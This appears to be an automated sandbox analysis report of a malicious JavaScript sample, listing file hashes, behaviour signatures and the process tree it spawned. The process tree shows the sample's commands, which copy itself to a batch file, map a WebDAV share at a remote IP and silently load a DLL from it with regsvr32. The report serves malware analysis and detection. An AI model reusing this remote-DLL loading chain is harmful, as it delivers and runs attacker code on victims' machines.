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Analysis

  • max time kernel
    10s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09/07/2024, 08:19

General

  • Target

    28034278092616319677.js

  • Size

    14KB

  • MD5

    1234aebaf9d395b177bfa95b56c61dc2

  • SHA1

    b8458ddbfec3baf6433537a68ed36076daace166

  • SHA256

    df085d537d229075c1fbda32e736671566e856ccb2258b06d4666c315d980e91

  • SHA512

    dfdd614329a595df31a3a5a61ab14fd8a425f55f6c6696aa30173b5727a65ee06f586ed65ad6709aba339876082be334930a619b6c77d102c03d096eccedbcd9

  • SSDEEP

    384:F7iiDcO+vvck10SOuTVgb/NdVQzRNs83YY83Ye:8Ac/cvF7dqe

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28034278092616319677.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\28034278092616319677.js" "C:\Users\Admin\AppData\Local\Temp\\prepareringwooden.bat" && "C:\Users\Admin\AppData\Local\Temp\\prepareringwooden.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2904
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2704
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\17.dll
          3⤵
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:3052

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\prepareringwooden.bat

      Filesize

      14KB

      MD5

      1234aebaf9d395b177bfa95b56c61dc2

      SHA1

      b8458ddbfec3baf6433537a68ed36076daace166

      SHA256

      df085d537d229075c1fbda32e736671566e856ccb2258b06d4666c315d980e91

      SHA512

      dfdd614329a595df31a3a5a61ab14fd8a425f55f6c6696aa30173b5727a65ee06f586ed65ad6709aba339876082be334930a619b6c77d102c03d096eccedbcd9